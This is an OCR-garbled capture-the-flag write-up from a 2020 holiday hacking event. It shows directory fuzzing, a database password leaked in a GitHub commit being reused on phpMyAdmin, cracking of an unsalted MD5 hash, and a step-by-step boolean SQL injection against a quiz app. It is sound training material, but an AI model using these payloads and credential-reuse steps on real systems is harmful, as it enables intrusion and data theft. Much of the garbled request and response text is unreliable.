16 Accept-Encoding:

17 Accept-Language

18

19 preview_markup=he]
%7B%221 e%22! A%ZZ((témpWat

gzip, de
T en-

- .
/hackyhohdays hlctf.c
;2ee ] Teation s forn S encoded

z111a/5.0_(windows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0

1, application/xhtml+xn],application/xm];q=0.9, image/webp, image/apng, */*;4=0.8, app1ication/signed-exchang

Goc
,,hackyhohdays hlctf.con/hate-mail-generator /new

.8,en-GB;=0.7, fr;q=0.6,pt

~HOD%0A&pr eV ew_dat
e 2 v o hoaden WERT] 34225202 2ema %2 234224 ca¥Otes £ cont2 247D

Raw Headers Hex Hackvertor

BB Raw Render \n  Actions v

>

1 HTTP/1.1 200 OF
T4 naina. 18,0 (Ubuntu)
3 Date: Thu, 24 Dec 2020 22:42:49 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 Content-Length: 352
8 Hello <html>
9 <body>
1

0 <centers
1 <table width="700">
12
13 <td height="80" width="700" style="background-color : #64d23b;color :#FFF" align="center">

Grinch Nistvork Adins only

<
14 </tr>
15 <tr>
16 2 style=" padding:20px 10px 20px 10px">
17 <h4>’
flag{SbeeBcf2-acf2-4a08-a35f-b48d5e979fdd}

</h4>

18

We were able to bypass access control and abuse server-side template generation to
reveal contents of 38dhs_admins_only_header.html file.

Server-Side Template Injection vulnerabilities (SSTI) occur when user input is
embedded in a template in an unsafe manner and results in remote code execution on the
server. Any features that support advanced user-supplied markup may be vulnerable to SSTI
including wiki-pages, reviews, marketing applications, CMS systems etc. Some template
engines employ various mechanisms (eg. sandbox, whitelisting, etc.) to protect against SSTI.
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Forum

When we visit Forum app on our browser, it had following contents:

@ https://hackyholidays.h1ctf.com/forum s ® @

Grinch Forum

General

Christmaslil
—
W posis: 1

Nice Things To Do
—
W posis 0

Admin

You need to be an admin to view these posts

On initial engagement, target application looks like basic forum software, it mentions
that there is a section which is exclusive to admins. There is a forum section called
Christmas!!! and has posts let’s view it.

&) https://hackyholidays.h1ctf.com/forum/1/1 e ® @ @& )

Grinch Forum

Home / Christmas!!! / Why | hate Christmas

Why | hate Christmas

These are the things | hate about Christmas!

« Happy People

« Presents

« Friends
grinch « SANTAII

Posted at 12122020 2.8
Comment

‘Woofl

Posted at 121122020 23:55

max

It appears to be two users involved on that discussion max and grinch, this is quite
useful information as we gained usernames for two potential users.

Application has login feature on /login endpoint, when we try to login with any of
usernames, we find on forum post application gives such error.
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& https://hackyholidays.h1ctf.com/forum/login 6 @

Forum Login

Usemame/Password Combination is invalid

Login

Username:

Password:

Unfortunately, application is also giving same error for any random username as well,
let’s try to expand our attacking surface with recon techniques.

We will first start with content discovery via fuzzing on applications folder by using
ffuf with following syntax:

ffuf -u https://hackyholidays.hlctf.com/forum/FUZZ -w [PATH]common.txt

root@instance-20190910-0255:~# ffuf —u https://hackyholidays.hlctf.com/forum/FUZZ -w Seclists/Discovery/Web_Content/common.txt

AN Ny A
NN NN

AN Y V0 W O WV U O VL O O W S
AU Y U W W W U S A A A
\/-/ NN N/

vli.1.8

:: Method : GET
: https://hackyholidays.hlctf.com/forum/FUZZ
: FUZZ: Seclists/Discovery/Web_Content/common.txt
ollow redirects : false
alibration : false
: 10
: 40
: Response status: 200,204,301,302,307,401,403

1 [Status: 200, Size: 2249, Words: 788, Lines:
2 [Status: 200, Size: 1885, Words: 512, Lines:
login [Status: 200, Size: 1569, Words: 396, Lines:
phpmyadmin [Status: 200, Size: 8880, Words: 956, Lines:
: Progress: [4594/4594] :: Job [1/1] :: 417 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

We located another endpoint phpmyadmin, let’s check whats there.
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https://hackyholidays.h1ctf.com/forum/FUZZ

9 https://hackyholidays.h1ctf.com/forum/phpmyadmin 6

php
Welcome to phpMyAdmin

Log In

Username

Password

So, it appears to be open access to database management used by the application,
but we need to find valid credentials for it as well.

Let’s continue expanding our attack surface, we will search for public repositories of
our target organization “Grinch Networks”, so we will be using following Google dork:

"Grinch Networks" site:github.com

[ ) https://www.google.com/search?q="Grinch+Networks"+site%3Agithub.com&oq="Grinch+Networks" +site%3Agithub.com&ags=chrome..69i57.8262j0j18&sourcei
"Grinch Networks" site:github.com X =B § Q
Q Toma [ Gorseller [ Haberler Aligveris [ videolar i Dahafazla  Ayarlar  Araclar

1 sonug (0,21 saniye)

github.com » adamtlangley ~ Bu sayfanin cevirisini yap

adamtlangley - GitHub

Created 1 commit in 1 repository. Grinch-Networks/forum 1 commit. Show more activity. Seeing
something unexpected? Take a look at the GitHub profile guide

Bu sayfay! 3 kez ziyaret ettiniz. Son ziyaret tarihi: 24.12.2020

It appears to be there is some repository involved with our target and surprisingly it
mentions forum as well, let’s view it, if that repository still available to access or we find out
cached content.
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https://github.com/adamtlangley @ 3 ® @ @ =” DR

adamtlangley

[0 Overview Repositories 6 Projects Packages
Follow

Ax 15 followers - 0 following - ¥ 0
stuff framework
Lightweight MVC PHP framewark
Highlights
g @rHP @rHp
3 Arctic Code Vault Contributor

14 contributions in the last year

Dec  Jan Feb Mar Apr May Jun Jul Aug Sep Oct Neov Dec
Mon a
a
= a
a
Fi
a
Learn how we count cantributions. Less B8 8 More
Contribution activity 2020
December 2020 2019
B Created 1 commit in 1 repository B 2018
Grinch-Networks/forum 1 commit N
2017
2016

Show more activity

This appears to be still active repository, let’s continue our journey on it.

2 https://github.com/Grinch-Networks/forum @ g

Pull requests Issues Marketplace Explore

rks / forum

les Pull requests Actions Projects Wiki Security Insights

¥ main ~ P 1branch © 0tags Go to file Add file About

No description, website,

Adam Added user login and session management dsssbsz 17 days ago @ 4 commits pf’ov!ded.
controllers Added user login and session management 17 days ago [ Readme
models Added user login and session management 17 days ago
i . . Releases
public Added user login and session management 17 days ago
. . No releases published
routes Added user login and session management 17 days ago
view Added user login and session management 17 days ago
Packages
[ Autoload.php Initial Code Commit 17 days ago
No packages published
[ OQutputphp Initial Code Commit 17 days ago
[ README.md Initial commit 17 days ago
Languages
[ Route.php Initial Code Commit 17 days ago
. B L] 99.1% @ ¢
@ view.php Initial Code Commit 17 days ago PHP 9.1 Hack ¢
README.md

forum

So far, we find out sources for our target and there are few commits, one of the
mistakes developers making is uploading sensitive data to their git repositories and then
remove them after realizing but forgetting their commits, let’s view commits history.

28



https://github.com/Grinch-Networks/forum/commits/main @ 5 ® @ @ K =

: /| Pull requests lssues Marketplace Explore a

/forum @ Watch + 1 7 star o0

Pull requests Actions Projects Wiki Security Insights

¥ main -

-0~ Commits on Dec 7, 2020

Added user login and session management i} 4865652 <
Adam committed 17 days ago

small fix ) | efbszef <
Adam committed 17 days ago

Initial Code Commit ] 779 <
Adam committed 17 days ago

Initial commit Verified (] 8adaca3 (33

adamtlangley committed 17 days ago

Developer added some user login and session management recently and made small
fix on the application, so let’s start with viewing latest commit.

R @ hups/githubcom/Grinch-Networks/forum/commit/d865b5221b91 ecd286e57368 TecacTd2abd 1 3bz 2 % 8 @ 0 m ¢+ @ £ P

On that commit there was no sensitive info, but we learnt how application was
handling login. Application is storing passwords of the users as md5 hash with no salt.

Let’s check next commit on the repository.
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https://github.com/Grinch-Networks/forum/commit/efb92ef3156 1a357caad68fca2d6f8466c4d04ae @ B ® @ & =’

/ Pull requests Issues Marketplace Explore

i/ forum ® Watch ~ 1 ws
Pull requests Actions Projects Wiki Security Insights
days ago 1 parent @7790dc  commit efboZef3f5élassy

with 2 additions and 2 deletions.

prp ()

stat
BB
e, 'forum', ‘forum','6HgeAZBqCITECQIQIpD' ); + se,
¥
self:isread; return selfi:Sread;
}
b stat 1
tatic 1
if( getryp &'
. forum', ‘forum', 6HgeAZOqCaTECQIqQIPD’ ): + self::$write = new DbConnec G
¥
1f:: 6 t retur 1 :: 50 t
3

. efb92ef

Bingo, developer certainly uploaded sensitive information and realized their mistake,
but forget to clear their commit history.

Let’s use the credentials on phpMyAdmin and see if they are still valid credentials.

) https://hackyholidays hictf.com/forum/phpmyadmin?db=forum & ® @ @ ®m = f
forum

Table Type Collation Rows

comment InnoDB latin1_swedish_ci NIA

post InnoDB latin1_swedish_ci NIA

section InnoDB Iatin1_swedish_ci NIA

user InnoDB latin1_swedish_ci 2

It appears to be credentials were valid and we were able to access database of the
target, and user table is having 2 rows, when we check contents of the user table.

(1 https;//hackyholidays.h1ctf.com/forum/phpmyadmin?db=forumétable=user s ® @ @ ”® v=
forum > user

id username password admin

1 grinch 35D652126CA1706B59DB02C9IEOCIFBF 1

2 max 388E015BC43980947FCEOESDE16481D1
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It looks like grinch user on the application is having admin rights, since we already
know that application is using md5 hash with no salt, we can try to look hash on public
databases for in case of already cracked by someone.

We will check it on CrackStation [5] (https://www.crackstation.net)

https://crackstation.net e 2 @

-

ing Security ¥ Defuse Security ¥

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

35D652126CA1706B59DB@2C93EACSFBF

B 5en cobot cesiim | 9
caEEn
e

Supports: LM, NTLM, md2, mdd, mdS, mdS(mdS_hex), mdS-half, sha1, sha224, sha256, sha384, sha512, ripeMD180, whirlpool, MySQL 4.1+ (shai(shal_bin)),
QubesV3.1BackupDefaults

Hash Type Result

350652126CA1706659DB@2CE3EACEFEF H mds H Bahtumbug.

Color Codes: Bf€8n Exact match, Yellow: Partial match, B Not found.

We were able to find password BahHumbug for user grinch, let’s use the credentials
and see the hidden posts on admin only section.

2

&) https//hackyholidays.h1ctf.com/forum/3/2 s ® @ & * 1

Grinch Forum

Home Secret Plans Secret Plans
Secret Plans

We've launched our recon server, gathered infelligence and pin pointed Santa's location!
Not long now until we find the IP addresses of his workshop and we can launch the DDoS attackil

flag{677db3a0-f9e9-4eTe-9ad7-a9f23647dbab}

grinch

at 121122020 23:22
Leave A Comment

Thread closed, comments are disabled

We were able to convert data we gathered by doing recon on our target to expand
our attack surface and access to their admin only section.
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https://www.crackstation.net/

Vulnerabilities we chained for gaining admin rights:

Sensitive credential leak on public repository
Weak password policy on user passwords
Public access to database management panel
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Evil Quiz

When we visit Evil Quiz app on our browser, it had following contents:

%) hitps://hackyholidays.h1ctf com/evil-quiz s ® ® @ ® £ 9 -~
ETWORKS
Evil Quiz
A Sco!
‘Your Name.
Y Nam

It looks like there is an admin panel on /admin endpoint, but we do not have any
credentials yet. Let’s start examining application.

Applications workflow is like, user enters their name and moves to next step for
answering questions, then application is showing results.

5] https://hackyholidays.h1ctf.com/evil-quiz/score 6 s @ @

Evil Quiz

‘Your Name Quiz Score

test You Scored

0/3

You're not evil at alll

There is 15 other player(s) with the same name as you!

Interestingly application mentions There is 15 other player(s) with the same name as
you! when we entered submitted our answers, so it must be doing some query on the
database meanwhile allows multiple use of same name.

Let’s change our name to some boolean checks for potential SQL injection like ashka’
or 1="1 if application returns results more than 0, it’s vulnerable to SQL injection.
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https://hackyholidays.h1ctf.com/evil-quiz/score

ETWORKS
Evil Quiz

Your Name Quiz Score

ashka' or 1="1 You Scored

0/3

You're not evil at all

There is 861221 other player(s) with the same name as you!

It appears to be application is vulnerable to SQL injection, since it returned There is
861221 other player(s) with the same name as you! as answer, meaning that or 1="1 part
returned all entries on application.

Potential query on application should be like this:

select count(somecolumn) from sometable where name="$Suser[name]’

This kind of issue is called second order SQL injection, since vulnerable endpoint is
different than data submitted to the application.

For exploiting this issue we could either use --second-url option of the sqlmap [6]
(https://github.com/sglmapproject/sglmap) or make our own tool.

| prefer making our own tool since sglmap generates too much unnecessary traffic
and noise on the target.

Firstly, we need to be sure with DBMS and we wouldn’t want so much time to for it,
one of easiest ways to confirm it using # char as comment, since it’s MySQL and its variants
only all other DBMS will fail so, our boolean query will also fail.
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https://github.com/sqlmapproject/sqlmap

TotallyRandom’ OR 1=1#

Request Response ]
aw params Headers Hex Hackvertor Raw  Headers Hex Hackvertor

Pretty \n Actions v RS Raw Render \n  Actions v

1 GET /evil-quiz/score HTTP/1.1 A |14 <meta nam wport" content="width=device-width; initial-scale=1">

2 fost: hackyholidays .hletf.com 15 tylesheet” href="https://maxcdn.bootstrapcdn. com/boots trap/3.3.7/css /bootstrap.min.css” int
3 Conpection: close 16

Gache-control: nax-age=0 17

¢ Upgrade-Ins ecure-Re. : 18 T-gquiz/adnin” style='nargin: 100 class="btn btn-danger puTl-right">adnine/a
6 User T S Buindows NT 10.0; win6ds x64) AppleWebKit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0 19 ar gin-Eop: 20px

Ry EERSA - ekt 20

7 Accept issﬂts,wmigns,grvvch networks.png” alt="Grinch Networks">

Soxelh apph<amon/thhxm1 ,appTlication/xml3q=0.9, image/webp, image/apng,

=0.8, application/signed-exchang

="taxt-centar”s
: same-origin

9 Sac-retchvods: navigate

0 Sec-Fetch-User:

1 Sec-Fetch-Dest: document

7 Rafarer hetgs: /) bakyhalidays HictE com/ei1-quiz/start
3 Accept-encoding: gzp, deflate

4 Accept-Language : n;G=0.8,en-GB;g=0.7, r;4=0.6,pt;q=0.5
5 Cookie: session=i 6904160646(6d5461848d9140336fd

6

ation’>
-quiz/start">Quiz</a>

ation” class="active"s
uiodscore scor s/ o>

<div class="text-center style="nargin-top:50px">
<div>

<strong>

ashka&#039; OR 1=1#
</strong>
You scored
<
32 SV Style="font-size:72px; ">
0/<strong>
</strongs
</div>
3 >
"re ot evil at alll
E2] style=nargin-top: 200>
There 15 871787 other p ayer‘(s) with the same name as you!
>
35
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Since we do not want to spend our time so much with fuzzing potential table names
and want to get admin access, we will be using following query sample with following
common table names:

TotallyRandom’ OR (SELECT 1 FROM TABLE)#

e user
e users

e member
e members
e access

e admin

e login

Due to boolean check is only requiring true or false a.k.a 1 or 0 as answers SELECT 1
query will return as true on second part of OR condition and will result showing similar
answer like OR 1=1 injection.

For example, there is no user table:



Request

W@w Pparams Headers Hex Hackvertor

1 BET fevil-quiz/score HTTP/1.1
fiost hackyhol Tdays . hict -con

o
&
?
&
LS
43
‘L

User - ?ent ARG (wwdows NT 10.0; Win64; x64) Applewebkit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0

Safam 537.36 Edy/89.0.731.0

Shin, 4P ication/xhenxn application/am 5q=0.9, inage/uebp, image/apng, */+3

e3v=b3;q=0
SR
Sec-Fetch-Hode
Sec-Fetch-User
Sec-Fetch-D

same-origin
navigate
71
jocument:
Jhackyhol4days .hletf . con/evil-quiz/start
gzip, deflate
9=0.7,fr;q=0.6,pt;q=0.5

Accept-Languag:

r,en-US;q=0.9,en;9=0.8, en.
Cookie: S04 606 460zds 4618484930336 Fa 7]

o s bivkowe
=

0.8, application/signed-exchang

Response

Raw Headers Hex Hackvertor

Raw Render

14
15
16
1
18
19
20

\n Actions v

device-width; initial-scale=1">

<meta name conty

Viewport"

"wide
https:/ /i

link rel="styleshest: href maxcdn. bootstrapedn. con/bootstrap/3.3.7/css /bootstrap.min.css' integ
</head>
<body>
<g.href="/oyil-quiz/agnin’ style='pargin:i0pc. class="btn btn-danger pull-right">Adnin</a>
<div class: ‘margin-top:20px"
<div class=
Jgina sre= /assetsﬂmages,grvvch networks.png" alt="Grinch Networks">
</div>
<hl clas
Evil quiz
>
<div clas .
<o hraf=/avil-auizt>vour Name</a>
</13>
<14 role"prasentation’s
<a href="/evil-quiz/start">Quiz</a>
>
<14 role"prasentation” class =
<a href="/evil-quiz/score il
</Ti>
<ul>
<y, class="text-center" style="nargin-top: S0px">
<5trorv >
ashka&#039 OR (SELECT 1 from user)#
</strong>
You Scored
</div>
<div style="font-size:72px;
0/<strongs>
</[strong>
</div>
<div>
You're not evil at all!
</div>
<div styles" marﬁv\ top:20px""
ore 15 0 other player (s) with the same name as you!
</div>
</divs

Meanwhile after some requests admin table is confirmed:

Request

@aw params Headers Hex Hackvertor

pretty. \n

1 GET /evil-quiz/score HTTR/1.1
2 Host: hackyholidays .hLctf.com
3 Connection: ¢

4 Cache-Control: max-age= 0

5 Upgrade-Inseclre—Re

Actions v

6 User-Agent: Mozwﬂa?i 0 (\vmdows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, 1ike Gecko) Chrome/89.0.4346.0

safar r1 537.36 Edg/89.0.73;

7 Accey
text/ﬁtrrﬂ ;agpTication/ xhtnlesn, application/xnls9-0.9. inage/webp inage/apns. */*;

3;9=0
& Sec-Fetan-Site: same- origin
5 SocFetch-tod: navigate

71

jocunent
Jhackyholidays .hlct . com/evil-quiz/start
gzip, deflate
=0.7,¥r;9=0.6,pt; g=0.5

4 Accept-Languag

r,en-US;9=0.9,en;q=0.8,en-G8;
: Cookie: 904260646C6d5461848d9240336d73

-8,appli cation/signed-exchang

Response

Raw Headers Hex Hackvertor

= v Render 0

12
13
14

15
16
1

Actions v

8">
uiv="cUacompatible” contents
="viewport” contents"width=device- S it e scatest’s
sty eohoet et etpas ) maxcdn-bootsir apcn com/bootatr ap/3

Jevil-quiz/adnin margin:10px" clas
tyWs "mar gin-top:20px">

ing srce"/assets images/grinch-networks .png” alt="Grinch Networks">
</divs

‘text-center”>

presentaho >
<a href="/evil-quiz">Your Name</a>

presentation”>
Jevil-quiz/start'>quiz</a>

presentahon dass:“active”>
Jevil-auiz/scor’ sScoras/a>

</ul>

‘text-center” style="margin-top:50px">

<div _clas
<div>
<strong>
ashka&#039; OR (SELECT 1 from admin)#

</stron
You Seored

font-size:72px;">
0/<strong>

</strong>
</div>
<divs

You're not evil at alll

iv>
<div’ style="margin-top:20px">
/Ehere 15 877188 other pgayer(s) with the same name as you!
</div>

Now we can also locate potential columns with following query:

i

3.7/css /bootstrap.min.css”

btn btn-danger pull-right ">Adnine/a>

TotallyRandom’ OR (SELECT 1 FROM admin where LENGTH(COLUMN)>0)#

This will cause similar, when column exists with valid data, subquery will return
causing true on OR condition, we will use following potential columns:

e user
e username
e login
® pass
e password

1 and




Again, there is no column as user:

Request

Rew params Headers Hex Hackvertor

et [ o Acoons

1[BET Jewil- qmz!smre HTTP/L
Fost: hackyl -hictf.c

Upgrade-Inzecurel Requests :
Agent 1a/5.0 (ww:q-s NT 10.0;
SaFarH‘Si? 3€ Edo/89.6.751

(KHTML, Tike Gecko) Chrome/89.0.4346.0

0
g
H
g

Winkd; x64) ApplewebKit/537.36

.9, image/webp, image/apng ,*/*;4=0.8, appl icatien/signed-exchang

(EA(I'I(IH ;281 ication/shtnon agplcation sl 5

8 sec r-tch -Site: same-origin
9 Sec-Fetch-Mode: navigate
0 Sec-Fatch-User: 71

Sec-Fetch-Dest: document o
f{hackyhoidays .hlctf.comfevil-quiz/start
=i, defime

Response =
Rav Headers Hex Hadovertor
Raw Render \n  Actions v
ditier
meta charset="utf-8"> .
cw—a http-gquivs"x-Ua m\.n' -ng cortent ge ">
vigwpor idth=device-width, initial-scales
sty |ethest” hrefa nttps: ] /maxcdn-bootstrapcdn. :um,b’:otstrgpr! 3.7/css fbootstrap.min.css” integri

wgm 10px" class="btn brn-danger pull-right"sadminc/as

$20p"s

ylaa
1t na

alt="Grinch Networks">

msm,m.;.;w,r;w-n.r_.wu,m‘

1
2 Referar: https
3 Accept-Encoding:
i Accept-Languag -
15 ool cTaace nay
1e <17 role="presentati
1 i Rret=F e —auiz svour Name</as
15
26 1 role="grasencation
a h —quz/start SQuizs/ar
P24 sentation” clas
ca Prata pA T quizfacars” s g
28
30 «div class="text-canter” style="margin-top:5opx's
31 <div
<strong>
’asMkMBB OR (SELECT 1 from admin where LENGTH(user)&ot;0)#
Strong>
Vou re not adl ar alll
</div
Y] P gin-top:20
;heri 50 other ;:'\aynr(s) “with the sane nane as you!
e L
Request Response
Raw  params Headers Hex Hackvertor Raw Headers Hex Hackvertor
\n Actons v G rov Render '\ Actions v
1 RET /ewil-quiz/score HTTP/1.1 " </titlex
2 Host: hackyhohdays hictf. com 12 <neta charset="utf-8">
3 Connection: clo 13 -y Compatible’. content=" "
4 Cache-Control: max-age=0_ 14 "viewport” content="w evi ce-i -ﬂdth, initial-scale=1">
5 Upgrade Tnbecure-Request 15 stylesheet” hre https //maxcdrv Bootetrapadn. com/bootstrap/3.3.7/css/bootstrap mir
6 User-Agent: MQZﬂ'\a?S 0 (wmdows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, 1ike Gecko) Chrome/89.0.4346.0 16
safarw §37.36 Edg/89.0.731.0 17
i 2 ret= ”/em quiz/adnin”_style="nargin: 10px" ﬂass—"bm btn-danger pull-right'>Admin</as
text/htm apph(atmrv/xhtmhxm application/xml ;G=0.9, image/webp, image/apng, */ .8,application/signed-exchang |19 <div clas ontainer” styWs’ margin-top: 20px
20 <y Classe Text-center’s
5 P e sane origin Sing sre="/assets/ inages/grinch-networks .png” aTt="Gr inch Networks" >
9 Sec-Fetch-Mode: navigate </div;
10 Sec-Fetch-User: 71 21 g ass="text-center >
11 Sec-Fetch-Dest: docu Evil quiz
12 Referer: https: /hackyho'hdays hilctf.com/evil-quiz/start </hl>
13 Accept—fncoding: gzip, 22 <div clags="row">
14 Accept-Language 9=0.7,fr;9=0.6,ptig=0.5 23 <div class="col-nd 6 ol pd-offser-3'>
st A DR A 24 v nav-tal
16 25 Y coareatio
17 v e o Your Name</a>
26 presentation’>
"evil-quiz/start">Quiz</a>
27 pressntation’ clags="active">
"/evil-quiz/score">Scor e</a>
28
29
30 <div_class="text-center" style="margin-top:50px">
31 <div>
<strong>
ashka&#033; OR (SELECT 1 from admin where LENGTH(username)&gt;0)#
</strong>
You scored
</div>
32 <div style="font-size:72px;">
0/<strong>
sfstrong>
</div; ?
Request Response =
W params Headers Hex Hackvertor Raw  Headers Hex Hackvertor
\n Actons v B v Render W1 Acions v
1 GET /evil-quiz/score HTTP/L.1 A 14 neta names"Viewport” co width=device-width initial-scal
2 Host: hackyholidays.hlctf.com 15 <link rel="stylesheet" e ”https //maxcdn. bootstr apcdn. (om/bootstrap/i 3.7/css/bootstrap.min.css” integr
3 Connection: close 16 </head>
4 Cache=Control : max-age: 1 <bodyy
5 Upgrade-Tnsecure-Requests: 1 ] a href="/evil-quiz/adnin’ style="nargin: 10px  lass="btn ben-danger pul1-right >Adnin</a>
6 User-Agent: Mozﬂ'\a?S.D (windows NT 10.0; win64; x64) Applewebkit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0 19 <dw class="container" sty'\e— ‘margin-top:2!
Safari 537.36 Edg/89.0.731.0 20 <diy class="text-cente
7 sina SF e assets/images/gr inch-networks .png" alt="grinch Networks">
text/htrrﬂ ;2P ication/xhenT v app ication/ s ;6=0.5, fnage/webp, inage/apna, */*36=0.8, app fcat fon/ s gned-exchang <
e 21 1 Gass="toxt—center ">
5 SRS e same origin Evil quiz
9 Sec-Fetch-ode: navigate </hl>
0 Sec-Fetch-User: 71 2 <div_class="row'>
1 Sec-Fetch-Dest ment. 23 <div_class="col-nd-6 col-md-offset-3">
2 Referer: https://hackyholidays.hlctf.con/evil-quiz/start 2 <ul_clas. abs">
2 Aceepr-Encoding: gzip, de 2
4 Accept-Languag B:4=0.7,r;q=0.6,pt:9=0.5
L e S oaideseae TR a0 Rer s ]
5 2 <13 role="presentation’>
7 <a href="/evil-quiz/start"sQuiz</a>
27 presentation’ clags='active’>
"/evil-quiz/score>Score</a>
28
29
30 iy, class=""coxt-center” style="nargin-top:SOpx'>
31 i
<5tron >
shKag#039; OR (SELECT 1 from admin where LENGTH(password)gt;0)4
</etrongs
oo seored
32 Sy Syl font-size:72px; >
o/sstrong>
</strong>
</div>
33 <divs
You're ot evil at alll
ddie
34 <div ="margin-top: 2

‘mar x>
i 1 35e03 orner P ayer (53 with the sane nane as yout

Since we located most crucial columns needed, we do not need to look for others.
We will try to locate number of entries on that table with following query:



TotallyRandom’ OR (SELECT count(username) from admin)>1#

Since we are already sure about there is an entry on the table because of data
returned on column fetching, we will try to see if there is more than 1 user on the table.

Send Gancel | [< 7[>

Target: https:/ /hackyholid

Request

Raw params Headers Hex Hackvertor

pretty o Actons v

1 GET [ewil-quiz/score HTTP/1.1
7 fost: hackyholidays.hlctf.com
3 Connection: close

4 Cache-Control: max-ages= 0

5 Upgrade-Insecure-Request:

6 User-Agent: Mozﬂla?S 0 (wmdows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, 1ike Gecko) Chrome/89.0.4346.0

safarw 537.36 Edg/89.0.731.0

text/htm'\ N app'h(atwn/xhtmhxm ,application/xm1;q=0.9,image/webp,image/apng,

: same-origin
Wode: navigate
10 Sec-Fetch- USEF: 1

11 Sec-Fetch-De:

13 Referors noepe //hackyhohdays hictf.com/evil-quiz/start
13 Accept-Encoding: q p d

14 Accept-Language:
l‘ Cookie: session=i 6‘304160646(&1S46184Kd‘3140336f

1’

0.8, appication/signed-exchang

0.7,fr;q=0.6,pt;9=0.5

Response

Raw Headers Hex Hackvertor

(ISl raw Render \n  Actions v

14 peta name="viewport' content="width=device-width; initial-scale=1

T T o e e e T - bos ot apein-tom bamcatrap) 3.3.7/css /bootstrap.mir
16 </heads

1

1 “auiz/aguin’ style="nargin:d0px. class="ben btn-danger puTl-right">adnine/a>

19 ntainer t mar gin-top:20px

20 a;

21

ion's
—quiz">Your Name¢/as>

26 esentation’s
Vil-quiz/start"squize/as
27 sentation” class="active">
vil-quiz/scora’sscorac/as
28
29
30 <di Y class="text-center" style="margin-top: S0px">
31 <divs
estrongs
ashka&#039; OR (SELECT count(username) from admin)&gt;1#
</Str0n >
You Scared
</div>
32 <div style="font-size:72px; ">
0/<strongs
</strongs
</div>
33 <div>
Eou‘re not evil at all!
34 <div style="mar gin-top:2
There is 0 other ;ﬂayer(s) "\ith the same name as youl
</div>
35 </div>
36

It turns out to be there is only 1 user on the table which makes our job much easier.
Now we will be firstly getting length amount of each column respectively, by using following

query:

TotallyRandom’ OR (select LENGTH(column) from admin)=NTH#

Once our OR condition returns true, we can be sure about that our target is having

Nth number of characters.

As we can see length for username is not 4 characters.



Request Response

Raw params Headers Hex Hackvertor Raw Headers Hex Hackvertor
precry R \n | Actions v BES row Render  \n Actions v
1 GET /evil-quiz/score HTTP/1.1 " </title>
2 Host: hackyhol1 days .hlctf. com 12 <neta charset='utf-g'
3 Conmection: close 13 meta httpeguiv='x uA Compat ible’, content="1e-edge’
4 Cache-Control: max-age= 14 <meta nam wport” con fthoddewd Camyd dth: i tial-scale=t
5 Upgrade-Insecure-Request: A AT R axcdn.bootstr apcdn. com/bootstr‘ap/3 3.7/css/bootstrap.min.css"
6 User-Agent: Mozﬂ'\a?S 0 (\vv\dows NT 10.0; Win64; x64) Applawebkit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0 16 </heads
s.afam 537.36 Edg/89.0.731.0 17 <body>
7 Acc 18 S href= " feyil-quiz/adnin” class="btn btn-danger pull-right">Adnin</a>
text/ﬁtrﬂ app i cation/xhtmlexw], appl cation/uml; 4=0.9, inage/webp  inage/apng  */ *iq=0.8 , application/signed-exchang |19 <diy class="container” styl >
o 20 div clas —center’>
o SR e anen origin Sing sr Jassetsimages/ arinch-nstworks png" alt="Grinch Networks">
9 Sec-Fetch-Mode: navigate
10 Sec-recch-ser: 71 21 it dass, ‘text-center s
11 Sec—Fetch-Des cum Evil quiz
12 Referer: https: //hackyhomays hictf.com/evil-quiz/start 1>
13 Accept-Encoding: gzip, 2 S lass="raw's
14 Accept-Language: tr,en ; ; 23 s5="col-nd-6 col-md-offset-3">
o ot A S A KA A 2 Tnay navetabs 'y
16 2 i resentat
17 oA 1-aui= svour Name</as
26 resentation’s>
i aute start >quiz</a>
27 resentation" class="active'>
Jevil-quiz/score’>Score</a>
28
29
30 iy class="text-center " style="nargin-topisopx' >
31 i
<5tron >
Sshkad#039; OR (selact LENGTH(username) from admin)=4#
</strong>
You Scored
</divs
32 <div style="font-size:72px;">
0/<strong>
</strong>
<[div>
33 <div>
You're not evil at all!
</div>
34 iy Sty le="mar gin—top:2
/There Tegnanpin ol ayer(s) “with the same name as you!
H it’ [to5ch t
owever, ITS equal to > characters.
\n Actions v = o Render 0 Actions v
L GET /evil-quiz/score HTTP/1.1 (14 <meta names="viewport" cont width=device-width, initial-scale=1">
7 Host: hackyholidays. hlctf.com 15 <Tink rel="stylesheet" el ”https D maxcdn-bootetrapedn . com/bootstr-ap/ 3.3.7/css fbootstrap.mir
3 Connection: close 16 </heads
1 Cache-Control: max-aga= 0 17 <bodys
5 Upgrade-Insecure—Re: 18 <a href="/eyil-quiz/adnin"_styl rgin:10px" dass:”btn btn-danger pull-right">Adnin</a>
v e ety iriy (wvvdows NT 10.0; winéd; x64) Applewebkit/537.36 (kHTML, Tike Gecko) Chrome/89.0.4346.0 i «diy. class="container * style="nargin- Lopiao!
s.afarw?sﬂ 36 Edg/89.0.731.0 20 <div class="text-center’>
4 <img src="/assets /images/grinch-networks.png” alt="Grinch Networks'>
cexc/hcm application/xhtmlxml, application/sn139=0.2, image/webp, image/apng, */*; 9=0..8, app1i cation/s igned-exchang </divs
21 "text-center ">
3 Sic-Fetch-Site: same-origin
3 Sec—Fetch-Mode: navigate
) Sec-Fetch-ser: 71 2 "
L See-Fetch-Dest 23 col-md-6 col-i md offset-3"s>
2 Referer: https //hackyhohdays hlctf.com/evil-quiz/start 2 ="nay nav-tabs
3 ing: gzip, dsf 25 Vpresentatio
4 0.7,fr;q=0.86,pt; "Jevil-quiz" >Vour Name</a>
5 c S04 2 0eabae 5461808 d0ma0 36013
5 26 “presentatio
7 Jevil- qmz/start >Quiz</ar
27 “presentation” class="active's
" Jevil-quiz/score”sScorac/as
28
29
30 <div class="text-center" style="margin-top:S0px">
31 i
<strongs
ashka&#()i? OR (select LENGTH(username) from admin)=5#
</strong>
You scored
<fdiv>
32 <div styles"font-size:72px;"s
0/<strong>
3
<Jstrong>
</divs
33 <div>
You're not evil at alll
<fdiv>
34 <div style="margin-top:20px">
/;here i< 887007 other p?ayer(s) with the same name as you!
